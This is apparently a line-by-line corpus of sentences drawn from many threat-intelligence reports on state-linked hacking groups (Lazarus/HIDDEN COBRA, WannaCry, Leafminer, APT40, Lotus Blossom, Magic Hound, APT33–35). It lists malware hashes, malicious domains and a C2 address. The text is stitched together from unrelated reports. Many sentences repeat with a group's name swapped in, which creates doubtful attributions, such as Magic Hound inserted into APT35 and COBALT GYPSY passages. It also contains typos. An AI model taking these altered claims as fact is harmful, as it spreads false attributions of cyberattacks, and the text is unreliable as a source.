Execute a command .
When the attacker wants to gather information on the infected system (action 5) , it retrieves the following information: Hostname IP address Computer name Username name Connected drive OS version Architecture Start menu programs Installed software .
The last identified campaign where KONNI was used was named Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.scr .
This file drops exactly the same files than the previous campaign but the decoy document is different .
This document contains the name , phone number and email address of members of agencies , embassies and organizations linked to North Korea .
The analysis shows us the evolution of KONNI over the last 3 years .
The last campaign was started a few days ago and is still active .
The infrastructure remains up and running at the time of this post .
The RAT has remained under the Radar for multiple years .
An explanation could be the fact that the campaign was very limited nature , which does not arouse suspicion .
This investigation shows that the author has evolved technically (by implementing new features) and in the quality of the decoy documents .
The campaign of April 2017 used pertinent documents containing potentially sensitive data .
Moreover the metadata of the Office document contains the names of people who seems to work for a public organization .
We don't know if the document is a legitimate compromised document or a fake that the attacker has created in an effort to be credible .
Clearly the author has a real interest in North Korea , with 3 of the 4 campaigns are linked to North Korea .
Additional ways our customers can detect and block this threat are listed below .
Advanced Malware Protection ( AMP ) is ideally suited to prevent the execution of the malware used by these threat actors .
CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks .
Email Security can block malicious emails sent by threat actors as part of their campaign .
The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors .
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products .
Umbrella , our secure internet gateway (SIG) , blocks users from connecting to malicious domains , IPs , and URLs , whether users are on or off the corporate network .
SHA256 : 413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f .
Filename: beauty.scr .
SHA256 : eb90e40fc4d91dec68e8509056c52e9c8ed4e392c4ac979518f8d87c31e2b435 .
Filename: C:\Windows\beauty.jpg .
File type: JPEG image data , JFIF standard 1.02 .
SHA256 : 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9 .
Hilename: C:\Windows\svchost.exe .
File type: PE32 executable (GUI) Intel 80386 , for MS Windows .
SHA256 : 94113c9968db13e3412c1b9c1c882592481c559c0613dbccfed2fcfc80e77dc5 .
Filename: How can North Korean hydrogen bomb wipe out Manhattan.scr .
SHA256 : 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 .
Filename: conhote.dll .
SHA256 : 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc .
Filename: winnit.exe .
SHA256 : 92600679bb183c1897e7e1e6446082111491a42aa65a3a48bd0fceae0db7244f .
Filename: Anti virus service.lnk .
 dowhelsitjs.netau.net .
SHA256 : 69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0 .
Filename: Pyongyang Directory Group email April 2017.RC_Office_Coordination_Associate.scr .
SHA256 : 4585584fe7e14838858b24c18a792b105d18f87d2711c060f09e62d89fc3085b .
Filename: adobe distillist.lnk .
SHA256 : 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 .
Filename: winload.exe .
SHA256 : dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d .
Filename: winload.dll .
Pactchfilepacks.net23.net .
 checkmail.phpnet.us .
Lazarus used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Feedback from our Smart Protection Network revealed that apart from attacks in North America ( mainly the U.S. ) , Europe , and South America , the campaign also noticeably affected enterprises in Taiwan , Hong Kong , China , and Bahrain .
On February 28 , the McAfee discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
On February 28 , the McAfee Advanced Threat Research team discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
In this analysis , we observed the return of HIDDEN COBRA 's Bankshot malware implant surfacing in the Turkish financial system .
In this new , aggressive campaign we see a return of the Bankshot implant , which last appeared in 2017 .
This attack resembles previous attacks by HIDDEN COBRA conducted against the SWIFT .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
These implants are variations of earlier forms of Bankshot , a remote access tool that gives an attacker full capability on a victim 's system .
Bankshot was first reported by the Department of Homeland Security on December 13 , 2017 , and has only recently resurfaced in newly compiled variants .
We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey ( and possibly other countries ) .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
This malware is capable of accessing device configuration data , downloading additional files , executing commands , modifying the registry , capturing screen shots , and exfiltrating data .
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system .
It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections ; however , HIDDEN COBRA actors use a suite of custom tools , some of which could also be used to initially compromise a system .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Lazarus actors commonly maintain persistence on a victim 's system by installing the malware-as-a-service .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government - referred to by the U.S. Government as BADCALL .
The malware uses a custom binary protocol to beacon back to the command and control ( C2 ) server , often via TCP PROT 8080 or 8088 , with some payloads implementing Secure Socket Layer ( SSL ) encryption to obfuscate communications .
DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity .
The malware known as RATANKBA is just one of the weapons in Lazarus ' arsenal .
We analyzed a new RATANKBA variant ( BKDR_RATANKBA.ZAEL–A ) , discovered in June 2017 , that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified .
Around 55% of the victims of Lazarus were located in India and neighboring countries .
Lazarus group could have been active since late 2016 , was used in a recent campaign targeting financial institutions using watering hole attacks .
Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government , these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history .
It 's possible that Lazarus is using RATANKBA to target larger organizations .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses .
simultaneous use of the detected Win32/KillDisk.NBO variants .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government – commonly known as HARDRAIN .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The cybercriminal group Lazarus has a history of attacking financial organizations in Asia and Latin America .
We also recently discovered that Lazarus successfully planted their backdoor ( detected by Trend Micro as BKDR_BINLODR.ZNFJ-A ) into several machines of financial institutions across Latin America .
We determined that these backdoors were installed on the targets ' machines on September 19 2018 , based mainly on the service creation time of the loader component .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
These and other tools used by the Lazarus group can be mitigated by routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
We also saw that the attack technique bears some resemblance to a previous 2017 Lazarus attack , analyzed by BAE Systems , against targets in Asia .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
Notably , after the first SMB packet sent to the victim 's IP address , WannaCry sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5 .
WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
In May 2017 , SecureWorks® Counter Threat Unit® ( CTU ) researchers investigated a widespread and opportunistic WCry ( also known as WanaCry , WanaCrypt , and Wana Decrypt0r ) ransomware campaign that impacted many systems around the world .
In November 2017 , SecureWorks Counter Threat Unit ( CTU ) researchers investigated a widespread and opportunistic WCry ransomware campaign that impacted many systems around the world .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
The campaign 's use of an SMB worm to distribute WCry contributed to the ransomware 's virulence .
Last week Microsoft , working together with Facebook and others in the security community , took strong steps to protect our customers and the internet from ongoing attacks by an advanced persistent threat actor known to us as ZINC , also known as the Lazarus Group .
Last week Microsoft , working together with Facebook , took strong steps to protect our customers and the internet from ongoing attacks by the Lazarus Group .
We concluded that Lazarus Group was responsible for WannaCry , a destructive malware .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus .
In November 2017 , Secureworks Counter Threat Unit™ ( CTU ) researchers discovered the North Korean cyber threat group , known as Lazarus Group and internally tracked as NICKEL ACADEMY by Secureworks , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
In November 2017 , CTU researchers discovered the North Korean cyber threat group , known as Lazarus Group , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
CTU researchers assess this as the continuation of activity first observed in 2016 , and it is likely that the campaign is ongoing .
CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns .
There are several indicators , which have led CTU researchers to believe with high confidence that NICKEL ACADEMY is behind the current spearphishing campaign .
CTU researchers also identified components in the custom C2 protocol being used which they have seen utilized by Nickel Academy ( Lazarus ) previously .
CTU researchers also identified components in the custom C2 protocol being used ( the ACT in which the malware talks to the Command and Control Servers ) which they have seen utilized by Nickel Academy ( Lazarus ) previously .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group .
During our investigation , there was a breakthrough discovery that helped connect Leafminer to a number of attacks observed on systems in the Middle East and identify the toolkit used in the group 's efforts of intrusion , lateral movement , and Exfiltration .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the Leafminer .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Researching the hacker handle MagicCoder results in references to the Iranian hacking forum Ashiyane as well as defacements by the Iranian hacker group Sun Army .
Targeted regions included in the list of Leafminer are Saudi Arabia , United Arab Emirates , Qatar , Kuwait , Bahrain , Egypt , Israel , and Afghanistan .
Our investigation of Leafminer started with the discovery of JavaScript code on several compromised websites in the Middle East .
This included the Fuzzbunch framework that was part of an infamous leak of exploits and tools by the Shadow Brokers in April 2017 .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploits from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
Furthermore , the Leafminer arsenal server hosted a Python script to scan for this vulnerability .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
Commands found in a readme text that was stored in a ZIP archive together with the hacktool THC Hydra in Leafminer 's tool arsenal represent online dictionary attacks on Microsoft Exchange and Remote Desktop Protocol services of regional government servers in Saudi Arabia .
Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
Leafminer is a highly active group , responsible for targeting a range of organizations across the Middle East .
Leafminer appears to be based in Iran and seems to be eager to learn from and capitalize on tools and techniques used by more advanced threat actors .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
Dragos has identified Leafminer group targeting access operations in the electric utility sector .
Analysis of RASPITE tactics , techniques , and procedures ( TTPs ) indicate the group has been active in some form since early - to mid-2017 .
RASPITE targeting includes entities in the US , Middle East , Europe , and East Asia .
RASPITE overlaps significantly with Symantec 's Leafminer , which recently released a report on the group 's activity in the Middle East .
RASPITE 's activity to date currently focuses on initial access operations within the electric utility sector .
This means that the Leafminer group is targeting electric utilities .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the ACT for later potential ICS events .
Active since at least 2014 , this actor has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
Active since at least 2014 , the Leviathan has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The period between November 2014 and January 2015 marked one of the earlier instances in which Proofpoint observed persistent exploitation attempts by this actor .
The Leviathan , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
This actor , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013 , dubbed TEMP.Periscope .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
The current campaign is a sharp escalation of detected activity since summer 2017 .
Since early 2018 , FireEye ( including our FireEye as a Service ( FaaS ) , Mandiant Consulting , and iSIGHT Intelligence teams ) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities , especially those connected to South China Sea issues .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope overlaps in targeting , as well as tactics , techniques , and procedures ( TTPs ) , with TEMP.Jumper , a group that also overlaps significantly with public reporting on NanHaiShu .
The actor has conducted operations since at least 2013 in support of China 's naval modernization effort .
FireEye is highlighting a Cyber Espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
The Leviathan group has specifically targeted engineering , transportation , and the defense industry , especially where these sectors overlap with maritime technologies .
We believe APT40 's emphasis on maritime issues and naval technology ultimately support China 's ambition to establish a blue-water navy .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
We assess with moderate confidence that APT40 is a state-sponsored Chinese Cyber Espionage operation .
The actor 's targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China .
Analysis of the operational times of the group 's activities indicates that it is probably centered around China Standard TIME ( UTC +8 ) .
APT40 relies heavily on web shells for an initial foothold into an organization .
APT40 has been observed leveraging a variety of techniques for initial compromise , including web server exploitation , phishing campaigns delivering publicly available and custom backdoors , and strategic web compromises .
Depending on placement , a Web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
The Spring Dragon appears to have rolled out a steady mix of exploits against government-related organizations in VN , TW , PH , and other locations over the past few years .
Organizations located in Myanmar and targeted by Spring Dragon have gone unmentioned .
Spring Dragon 's infiltration techniques there were not simply spearphish .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
The well-known threat group called DRAGONFISH or Lotus Blossom are distributing a new form of Elise malware targeting organizations for espionage purposes .
The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea .
iDefense analysts have identified a campaign likely to be targeting members of— or those with affiliation or interest in—the ASEAN Defence Ministers ' Meeting ( ADMM ) .
iDefense analysts have identified a campaign likely to be targeting members of or those with affiliation or interest in the ASEAN Defence Minister 's Meeting ( ADMM ) .
iDefense assesses with high confidence that this campaign is associated with the threat group DRAGONFISH ( also known as Lotus Blossom and Spring Dragon ) .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
This Trojan is related to the Elise backdoor described in the Operation Lotus Blossom report .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
The Elise malware used by Lotus Blossom , which was an attack campaign on targets in Southeast Asia .
Based on the targeting and lures , Unit 42 assesses that the Lotus Blossom actors ' collection requirements include militaries and government agencies in Southeast Asia .
In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload .
The oldest sample we found was created in 2009 , indicating this tool has been in use for almost seven years .
In addition , Emissary appears to against Taiwan or Hong Kong , all of the decoys are written in Traditional Chinese , and they use themes related to the government or military .
Of note , this is three years earlier than the oldest Elise sample we have found , suggesting this group has been active longer than previously documented .
In addition , we observed a TTP shift post publication with regards to their malware delivery ; they started using compromised but legitimate domains to serve their malware .
All of the Emissary we've collected are written in Traditional Chinese , which is used primarily in Taiwan and Hong Kong .
One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015 , resulting in many new versions of the Emissary Trojan .
Lotus Blossom targeted the government , higher education , and high tech companies .
Our evidence suggests that malware authors created Emissary as early as 2009 , which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : Exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
The timeline in Figure 2 shows that the Emissary Trojan was first created ( version 1.0 ) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009 .
Between August and November 2015 the malware author creates several new versions of Emissary , specifically 5.0 , 5.1 , 5.3 and 5.4 in a much more rapid succession compared to development process in earlier versions .
Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014 .
While this may be coincidental , the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success .
The Lotus Blossom actors using Emissary have been active for at least seven years in Southeast Asia .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Regardless of causation , the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection , which as a corollary suggests the Lotus Blossom are actively using the Emissary Trojan as a payload in attacks .
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called " Rocket Kitten " ( AKA Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish ) as well as an older attack campaign called Newscasters .
In addition to the malware evolution , the actors also shifted from solely spear-phishing targets with attachments to also compromising legitimate websites to host malware .
It is highly likely the Lotus Blossom used spear-phishing attacks containing links to these malicious documents as a delivery mechanism .
We were ultimately able to identify multiple organizations in the government , energy , and technology sectors targeted by Magic Hound .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The MPK bot is not publicly available and had previously been attributed to an adversary group called " Rocket Kitten " which has often been thought to be a state sponsored adversary operating in the Middle East region .
One payload was a Python based open source remote administration tool ( RAT ) called Pupy .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES .
The loader 's main goal was to run a PowerShell command to execute shellcode .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
We have also seen Magic Hound using DropIt as a binder , specifically dropping a legitimate decoy executable along with the malicious executable onto the target host .
We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on .
The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
At a high level , Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
M-Trends 2018 can arm security teams with the knowledge they need to defend against today 's most often used cyber attacks , as well as lesser seen and emerging threats .
FireEye tracks thousands of threat actors , but pays special attention to state-sponsored attackers who carry out advanced persistent threat ( APT ) attacks .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam .
APT32 poses a threat to companies doing business or preparing to invest in Vietnam .
We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabia .
APT33 often conducts spear-phishing operations using a built-in phishing module .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP , we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
The HTA files contained job descriptions and links to job postings on popular employment websites .
Since at least 2014 , an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran .
These emails included recruitment-themed lures and links to malicious HTML Application files .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT34 uses a mix of public and non-public tools .
APT34 often uses compromised accounts to conduct spear-phishing operations .
APT33 leverages a mix of public and non-public tools and often conducts spear-phishing operations using a built-in phishing module from " ALFA TEaM Shell " , a publicly available web shell .
In July 2017 , FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
FireEye has identified APT35 operations dating back to 2014 .
APT35 , also known as the Newscaster Team , is a threat group sponsored by the Iranian government that conducts long term , resource-intensive operations to collect strategic intelligence .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 has historically used unsophisticated tools like those listed below in Figure 3 .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Many of the fake personas utilized by APT35 claimed to be part of news organizations , which led to APT35 being referred to as the Newscaster Team .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
In early 2017 , Mandiant responded to an incident involving APT35 targeting an energy company .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
The resume contained the PupyRAT backdoor , which communicated with known APT35 infrastructure .
Once connected to the VPN , APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance .
While having access to the organization 's environment , the Magic Hound targeted data related to entities in the Middle East .
Mandiant has previously observed targeted attackers stealing email , but few threat actors have been as successful at this as APT35 .
The campaigns delivered PupyRAT , an open-source cross-platform remote access trojan ( RAT ) .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The connections associated with these profiles indicate the threat actor began using the persona to target organizations in April 2016 .
Between December 28 , 2016 and January 1 , 2017 , CTU researchers observed a phishing campaign targeting Middle Eastern organizations .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
The survey contained macros that , once enabled , downloaded PupyRAT .
CTU researchers determined that the COBALT GYPSY threat group orchestrated this activity due to the tools , techniques , and procedures ( TTPs ) used in both campaigns .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
By compromising a user account that has administrative or elevated access , Magic Hound can quickly access a targeted environment to achieve their objectives .
